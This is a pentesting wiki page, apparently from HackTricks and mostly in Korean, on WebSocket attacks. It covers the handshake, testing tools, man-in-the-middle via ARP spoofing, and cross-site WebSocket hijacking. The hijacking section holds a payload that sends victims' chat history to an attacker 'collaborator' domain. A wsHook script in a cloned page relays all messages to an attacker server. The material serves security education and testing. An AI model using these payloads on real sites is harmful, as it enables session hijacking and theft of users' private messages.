# WebSocket Attacks

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## What are WebSockets

WebSocket 연결은 초기 **HTTP** 핸드셰이크를 통해 설정되며, **장기 지속적**으로 설계되어 언제든지 양방향 메시징을 가능하게 하여 거래 시스템이 필요하지 않습니다. 이는 WebSocket이 실시간 금융 데이터 스트림과 같은 **저지연 또는 서버 시작 통신**이 필요한 애플리케이션에 특히 유리하게 만듭니다.

### Establishment of WebSocket Connections

WebSocket 연결을 설정하는 방법에 대한 자세한 설명은 [**여기**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)에서 확인할 수 있습니다. 요약하자면, WebSocket 연결은 일반적으로 클라이언트 측 JavaScript를 통해 시작됩니다.
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
`wss` 프로토콜은 **TLS**로 보호된 WebSocket 연결을 나타내고, `ws`는 **보안되지 않은** 연결을 나타냅니다.

연결 설정 중에 브라우저와 서버 간에 HTTP를 통한 핸드셰이크가 수행됩니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 것으로 구성되며, 다음 예시에서 설명됩니다:

브라우저가 핸드셰이크 요청을 보냅니다:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
서버의 핸드셰이크 응답:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
연결이 설정되면 양방향으로 메시지 교환을 위해 열려 있습니다.

**WebSocket 핸드셰이크의 주요 포인트:**

- `Connection` 및 `Upgrade` 헤더는 WebSocket 핸드셰이크의 시작을 알립니다.
- `Sec-WebSocket-Version` 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 `13`입니다.
- Base64로 인코딩된 무작위 값이 `Sec-WebSocket-Key` 헤더에 전송되어 각 핸드셰이크가 고유하도록 보장하며, 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움이 됩니다. 이 값은 인증을 위한 것이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성되지 않았음을 확인하기 위한 것입니다.
- 서버의 응답에 있는 `Sec-WebSocket-Accept` 헤더는 `Sec-WebSocket-Key`의 해시로, WebSocket 연결을 열려는 서버의 의도를 검증합니다.

이러한 기능은 핸드셰이크 프로세스가 안전하고 신뢰할 수 있도록 보장하며, 효율적인 실시간 통신을 위한 길을 열어줍니다.


### Linux 콘솔

`websocat`을 사용하여 websocket과의 원시 연결을 설정할 수 있습니다.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
웹소캣 서버를 생성하려면:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections

클라이언트가 현재 로컬 네트워크에서 **HTTP websocket**에 연결되어 있는 것을 발견하면, 클라이언트와 서버 간의 MitM 공격을 수행하기 위해 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)을 시도할 수 있습니다.\
클라이언트가 연결을 시도할 때, 다음을 사용할 수 있습니다:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration

You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.

### Websocket Debug tools

* **Burp Suite**는 일반 HTTP 통신과 매우 유사한 방식으로 MitM websockets 통신을 지원합니다.
* The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension**는 **history**를 가져오고, **interception rules**를 설정하며, **match and replace** 규칙을 사용하고, **Intruder** 및 **AutoRepeater**를 사용하여 Burp에서 Websocket 통신을 더 잘 관리할 수 있게 해줍니다.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"의 약자로, Node.js로 작성된 이 도구는 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 **capture, intercept, send custom** 메시지를 보내고 볼 수 있는 사용자 인터페이스를 제공합니다.
* [**wsrepl**](https://github.com/doyensec/wsrepl)는 **penetration testing**을 위해 특별히 설계된 **interactive websocket REPL**입니다. 이는 **incoming websocket messages**를 관찰하고 새로운 메시지를 보내는 인터페이스를 제공하며, 이 통신을 **automating**하기 위한 사용하기 쉬운 프레임워크를 제공합니다.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/)는 **websockets**를 사용하여 다른 웹과 통신하는 **web**입니다.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)는 다른 유형의 통신/프로토콜 중에서 **websockets**를 사용하여 다른 웹과 통신하는 **web**을 제공합니다.

## Websocket Lab

In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.

## Cross-site WebSocket hijacking (CSWSH)

**Cross-site WebSocket hijacking**, 또한 **cross-origin WebSocket hijacking**으로 알려진 이 공격은 WebSocket 핸드셰이크에 영향을 미치는 특정한 경우의 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**로 식별됩니다. 이 취약점은 WebSocket 핸드셰이크가 **CSRF tokens** 또는 유사한 보안 조치 없이 오직 **HTTP cookies**를 통해 인증될 때 발생합니다.

공격자는 **취약한 애플리케이션**에 대한 교차 사이트 WebSocket 연결을 시작하는 **악성 웹 페이지**를 호스팅하여 이를 악용할 수 있습니다. 결과적으로 이 연결은 애플리케이션과의 피해자의 세션의 일부로 간주되며, 세션 처리 메커니즘에서 CSRF 보호가 부족한 점을 악용합니다.

### Simple Attack

**websocket** 연결을 **establishing**할 때 **cookie**가 **서버**로 **전송**된다는 점에 유의하십시오. **서버**는 이를 사용하여 **전송된 cookie**를 기반으로 각 **특정** **사용자**와 그의 **websocket** **세션**을 **연관**시킬 수 있습니다.

그런 다음, 예를 들어 **websocket** **서버**가 사용자의 대화 **history**를 **전송**하는 경우, "**READY"**라는 메시지가 전송되면, **simple XSS**를 통해 연결을 설정하면 (이때 **cookie**는 피해자 사용자를 인증하기 위해 **자동으로 전송**됩니다) "**READY**"를 전송하여 **대화**의 **history**를 **가져올** 수 있습니다.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain

이 블로그 게시물 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)에서 공격자는 **웹 소켓 통신이 발생하는 도메인의 서브도메인에서 임의의 Javascript를 실행**하는 데 성공했습니다. **서브도메인**이었기 때문에 **쿠키**가 **전송**되었고, **Websocket이 Origin을 제대로 확인하지 않았기 때문에**, 이를 통해 통신하고 **토큰을 훔치는** 것이 가능했습니다.

### Stealing data from user

당신이 가장하고 싶은 웹 애플리케이션을 복사하세요 (예: .html 파일) 그리고 웹소켓 통신이 발생하는 스크립트 안에 이 코드를 추가하세요:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
이제 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)에서 `wsHook.js` 파일을 다운로드하고 **웹 파일이 있는 폴더에 저장하세요**.\
웹 애플리케이션을 노출시키고 사용자가 연결하게 하면 websocket을 통해 전송된 메시지와 수신된 메시지를 훔칠 수 있습니다:
```javascript
sudo python3 -m http.server 80
```
## Race Conditions

WebSockets의 Race Conditions도 존재합니다, [더 알아보려면 이 정보를 확인하세요](race-condition.md#rc-in-websockets).

## Other vulnerabilities

Web Sockets는 **서버 측과 클라이언트 측에 데이터를 전송하는 메커니즘**이므로, 서버와 클라이언트가 정보를 처리하는 방식에 따라, **Web Sockets는 웹 소켓의 사용자 입력을 사용하여 XSS, SQLi 또는 기타 일반적인 웹 취약점을 악용하는 데 사용될 수 있습니다.**

## **WebSocket Smuggling**

이 취약점은 **웹소켓 통신이 설정되었다고 믿게 하여** **리버스 프록시 제한을 우회할 수 있게** 할 수 있습니다 (사실이 아니더라도). 이는 공격자가 **숨겨진 엔드포인트에 접근할 수 있게** 할 수 있습니다. 더 많은 정보는 다음 페이지를 확인하세요:

{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}

## References

* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<summary>Support HackTricks</summary>

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</details>
{% endhint %}